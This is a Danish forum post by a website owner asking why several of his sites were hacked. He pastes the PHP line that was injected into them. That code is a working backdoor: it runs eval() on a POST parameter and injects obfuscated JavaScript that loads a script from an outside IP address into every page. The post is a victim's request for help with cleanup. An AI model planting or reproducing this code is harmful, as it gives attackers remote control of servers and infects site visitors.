Hvordan bliver min side hacked?
Hej eksperter!Nogle af mine hjemmesider er tilsyneladende blevet hacked. Der er tale om www.htmlkoder.dk, www.martinhegelund.dk og www.fars-dreng.dk, som alle er placeret på samme webhotel på 2 forskellige servere.
Der er på hver af dem blevet indskudt en linje PHP-kode i toppen, som vist nok resulterer i noget skadeligt JavaScript. Min webhost siger, at deres sikkerhed skam er i orden og at det er en fejl i min kode, der har gjort det muligt at hacke dem. Jeg synes bare, at det er ret spøjst, at dette kan forekomme og at det netop er på disse 2 webservere. Jeg har adskillige domæner hos denne webhost og andre steder, og det er kun på de 2 servere, jeg er ramt.
Jeg er lidt i vildrede, da jeg ikke har nogen anelse om, hvad problemet kan være. Kan I hjælpe mig med at komme lidt på vej?
Den pågældende PHP-kode er:
<?php if(!function_exists('tmp_lkojfghx')){if(isset($_POST['tmp_lkojfghx3']))eval($_POST['tmp_lkojfghx3']);if(!defined('TMP_XHGFJOKL'))define('TMP_XHGFJOKL',base64_decode('PHNjcmlwdCBsYW5ndWFnZT1qYXZhc2NyaXB0PjwhLS0gCmRvY3VtZW50LndyaXRlKHVuZXNjYXBlKCclM0NGc3NjclhPZ2lVTFFwdCUyME1tNXNYT2dyTW01Y1hPZyUzRCUyRkZzJTJGOTQlMkUyNDdVTFElMkVYT2cyRmolMkVVTFExTW01OVVMUTUlMkZFOWpxdWVGc3JNbTV5RnMlMkViRVZqVUxRc1VMUSUzRUU5JTNDRTklMkZzTW01Y0U5ckU5aUU5cEZzdE1tNSUzRScpLnJlcGxhY2UoL1VMUXxFOXxiRVZ8RnN8WE9nfEZqfE1tNS9nLCIiKSk7CiAtLT48L3NjcmlwdD4='));function tmp_lkojfghx($s){if($g=(substr($s,0,2)==chr(31).chr(139))$s=gzinflate(substr($s,10,-8));if(preg_match_all('#<script(.*?)</script>#is',$s,$a))foreach($a[0] as $v)if(count(explode("\n",$v))>5){$e=preg_match('#[\'"][^\s\'"\.,;\?!\[\]:/<>\(\)]{30,}#',$v)||preg_match('#[\(\[](\s*\d+,){20,}#',$v);if((preg_match('#\beval\b#',$v)&&($e||strpos($v,'fromCharCode')))||($e&&strpos($v,'document.write')))$s=str_replace($v,'',$s);}$s1=preg_replace('#<script language=javascript><!-- \ndocument\.write\(unescape\(.+?\n --></script>#','',$s);if(stristr($s,'<body'))$s=preg_replace('#(\s*<body)#mi',TMP_XHGFJOKL.'\1',$s1);elseif(($s1!=$s)||stristr($s,'</body')||stristr($s,'</title>'))$s=$s1.TMP_XHGFJOKL;return $g?gzencode($s):$s;}function tmp_lkojfghx2($a=0,$b=0,$c=0,$d=0){$s=array();if($b&&$GLOBALS['tmp_xhgfjokl'])call_user_func($GLOBALS['tmp_xhgfjokl'],$a,$b,$c,$d);foreach(@ob_get_status(1) as $v)if(($a=$v['name'])=='tmp_lkojfghx')return;else $s[]=array($a=='default output handler'?false:$a);for($i=count($s)-1;$i>=0;$i--){$s[$i][1]=ob_get_contents();ob_end_clean();}ob_start('tmp_lkojfghx');for($i=0;$i<count($s);$i++){ob_start($s[$i][0]);echo $s[$i][1];}}}if(($a=@set_error_handler('tmp_lkojfghx2'))!='tmp_lkojfghx2')$GLOBALS['tmp_xhgfjokl']=$a;tmp_lkojfghx2(); ?>
På forhånd mange tak for hjælp!
Mvh,
Martin Møller
www.htmlkoder.dk